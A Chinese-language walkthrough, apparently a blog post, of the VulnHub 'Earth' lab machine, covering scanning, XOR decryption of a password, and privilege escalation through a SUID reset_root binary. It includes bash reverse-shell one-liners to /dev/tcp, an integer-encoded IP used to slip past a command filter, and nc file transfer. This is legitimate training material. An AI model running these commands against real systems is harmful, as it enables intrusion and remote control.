vlunhub笔记(二)earth
(一)信息收集
开始扫描目标机ip,目标机ip:192.168.241.135
arp-scan -l

直接访问目标 ip 192.168.241.135 发现400报错

只能先去考虑扫一下信息,先nmap一下,发现两个DNS域名我们尝试写入/etc/hosts文件
nmap -A -T4 192.168.241.125 (-A 进行操作系统检测和版本检测 -T4 为快速扫描模式)

开始写入 vi /etc/hosts
按 “i”进入编辑模式
输入 目标机 ip+目标域名
按”esc“退出编辑模式
按shift+:并输入wq进行保存退出

直接输入域名就可以访问

我们分别扫一下这两个域名 earth.local 和 terratest.earth.local,发现两个有用的目录 admin 和 robots.txt


(二)开始渗透
访问earth.local/admin/login发现是个登录页面,那我们就要开始找用户密码了。

先访问下另一个敏感目录 https://terratest.earth.local/robots,发现一个特殊目录、testingnotes.*。

访问一下这个特殊目录,经过多次尝试发现后缀是.txt,成功访问该目录。得到一段英文提示。

英语水平有限,翻译一下去。获得三个有效信息,用户名terra(应该是那个登录页面要用),敏感目录:testdata.txt,还有一个异或加密的提示。

我们先访问一下testdata.txt。这个翻译完之后没什么有效信息,我们联想到前面给出的异或提示,这应该是其中一组。(异或运算需要两组数据)

我又联想到前面earth.local界面下给的一串数字,猜想一下有没有可能和上面那组数据进行异或。

这块解密有点麻烦
1.textdata.txt里面所给的数据为密钥(需要转变为utf8编码)
2.earth.local下面所给的数据只有第三个可以成功解密(这一串数字需要16进制转utf8编码)
3.再将两组数据进行异或运算
4.成功得到一组循环的密码 earthclimatechangebad4humans(这应该是登陆页面的密码)

(三)漏洞利用
现在开始尝试登录一开始发现的登陆页面。
用户名:terra
密码:earthclimatechangebad4humans

我们直接尝试bash反弹
bash -c "bash -i >& /dev/tcp/主机ip/1234 0>&1"
发现没有反应,有可能被过滤了,我们尝试编码绕过。
先尝试对ip进行编码
ip转int (在线网站:http://www.esjson.com/iptoint.html)

bash -c "bash -i >& /dev/tcp/3232297345/1234 0>&1"
kali本地进行监听 可以直接反弹成功

(四)用户提权
查看一下靶机中有权限的文件,发现一个重置密码的文件
find / -perm -u=s -type f 2>/dev/null

利用ltrace调试文件
将文件传回攻击机进行查看
攻击机开启监听,把接收到的文件命名为跟靶机文件相同的文件名
nc -lvnp 1234 > reset_root

靶机将文件传回来
nc 本机ip 1234 < /usr/bin/reset_root

本地成功接受到文件
对文件进行授权
chmod 777 reset_root

发现缺少三个文件

在靶机中创建这三个文件
1.touch /dev/shm/kHgTFI5G
2.touch /dev/shm/Zw7bV9U5
3.touch /tmp/kcM0Wewe

创建成功后重新访问reser_root文件,发现密码为Earth
/usr/bin/reset_root

su 提权
su
密码:Earth

访问到root目录,成功找到flag。
cd /root
cat root_flag.txt

(五)靶场总结
1.异或解密得到的密钥与文本需要utf8编码
2.ltrace工具 能够跟踪进程的库函数调用,它会显现出调用了哪个库函数
vlunhub笔记(二)earth的更多相关文章
- 《CMake实践》笔记二:INSTALL/CMAKE_INSTALL_PREFIX
<CMake实践>笔记一:PROJECT/MESSAGE/ADD_EXECUTABLE <CMake实践>笔记二:INSTALL/CMAKE_INSTALL_PREFIX &l ...
- jQuery源码笔记(二):定义了一些变量和函数 jQuery = function(){}
笔记(二)也分为三部分: 一. 介绍: 注释说明:v2.0.3版本.Sizzle选择器.MIT软件许可注释中的#的信息索引.查询地址(英文版)匿名函数自执行:window参数及undefined参数意 ...
- Mastering Web Application Development with AngularJS 读书笔记(二)
第一章笔记 (二) 一.scopes的层级和事件系统(the eventing system) 在层级中管理的scopes可以被用做事件总线.AngularJS 允许我们去传播已经命名的事件用一种有效 ...
- Python 学习笔记二
笔记二 :print 以及基本文件操作 笔记一已取消置顶链接地址 http://www.cnblogs.com/dzzy/p/5140899.html 暑假只是快速过了一遍python ,现在起开始仔 ...
- WPF的Binding学习笔记(二)
原文: http://www.cnblogs.com/pasoraku/archive/2012/10/25/2738428.htmlWPF的Binding学习笔记(二) 上次学了点点Binding的 ...
- webpy使用笔记(二) session/sessionid的使用
webpy使用笔记(二) session的使用 webpy使用系列之session的使用,虽然工作中使用的是django,但是自己并不喜欢那种大而全的东西~什么都给你准备好了,自己好像一个机器人一样赶 ...
- AJax 学习笔记二(onreadystatechange的作用)
AJax 学习笔记二(onreadystatechange的作用) 当发送一个请求后,客户端无法确定什么时候会完成这个请求,所以需要用事件机制来捕获请求的状态XMLHttpRequest对象提供了on ...
- 《MFC游戏开发》笔记二 建立工程、调整窗口
本系列文章由七十一雾央编写,转载请注明出处. http://blog.csdn.net/u011371356/article/details/9300383 作者:七十一雾央 新浪微博:http:/ ...
- JavaScript基础笔记二
一.函数返回值1.什么是函数返回值 函数的执行结果2. 可以没有return // 没有return或者return后面为空则会返回undefined3.一个函数应该只返回一种类型的值 二.可变 ...
- [Firefly引擎][学习笔记二][已完结]卡牌游戏开发模型的设计
源地址:http://bbs.9miao.com/thread-44603-1-1.html 在此补充一下Socket的验证机制:socket登陆验证.会采用session会话超时的机制做心跳接口验证 ...
随机推荐
- 2023-2-22 增加产值冲减和EPC模块
应集团要求,现在已在综合信息管理系统中已增加以下信息,请大家注意,并及时转告业务人员: 1.[施工合同登记]模块增加必填字段"EPC建安费(万元)""EPC暂列费(万元) ...
- 张量(Tensor)、标量(scalar)、向量(vector)、矩阵(matrix)
张量(Tensor):Tensor = multi-dimensional array of numbers 张量是一个多维数组,它是标量,向量,矩阵的高维扩展 ,是一个数据容器,张量是矩阵向任意维度 ...
- Windows的Mysql5.7社区版的安装详细操作,从无到有,安装配置一条龙服务。(压缩包自行安装,非installer安装)
换了一个电脑,所有软件.环境都得重新来安装一次,安装到Mysql的时候,发现网上有两种安装方式,一种是Mysql的压缩包安装方式,这种方式直接到官网下载Mysql的压缩包,解压之后做些配置就可以了,另 ...
- Vue中使用原生js实现轮播图滑动效果
1.在视图层模板里面绑定touchstart和touchend事件 <div class="tuWap" @touchstart="touchStart" ...
- 2022-09-21:有n个动物重量分别是a1、a2、a3.....an, 这群动物一起玩叠罗汉游戏, 规定从左往右选择动物,每只动物左边动物的总重量不能超过自己的重量 返回最多能选多少个动物,求一个
2022-09-21:有n个动物重量分别是a1.a2.a3-an, 这群动物一起玩叠罗汉游戏, 规定从左往右选择动物,每只动物左边动物的总重量不能超过自己的重量 返回最多能选多少个动物,求一个高效的算 ...
- 2020-12-21:redis中,rpop和brpop的区别?
福哥答案2020-12-21:[答案来自此链接:](http://bbs.xiangxueketang.cn/question/806)Redis Rpop 命令用于移除列表的最后一个元素,返回值为移 ...
- 2022-05-16:A -> B,表示A认为B是红人, A -> B -> C,表示A认为B是红人,B认为C是红人,规定“认为”关系有传递性,所以A也认为C是红人, 给定一张有向图,方式是给定M个有
2022-05-16:A -> B,表示A认为B是红人, A -> B -> C,表示A认为B是红人,B认为C是红人,规定"认为"关系有传递性,所以A也认为C是红 ...
- 一个线上全文索引BUG的排查:关于类阿拉件数字的分词与检索
说到全文检索的分词,多半讲到的是中(日韩)文分词,少有英文等拉丁文系语言,因为英语单词天然就是分词的. 但更少讲到阿拉伯数字.比如金额,手机号码,座机号码等等. 以下不是传统的从0开始针对mysql全 ...
- 分布式协调服务之Zookeeper
1. 认识Zookeeper ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件.它是一个为分布式应用 ...
- nginx发布vue 项目
在本次使用nginx发布vue项目遇到 配置location 始终404 和 在项目子目录点击浏览器刷新出现404问题 使用nginx发布vue项目,为了方便测试就下载了一个nginx 放置自己目录下 ...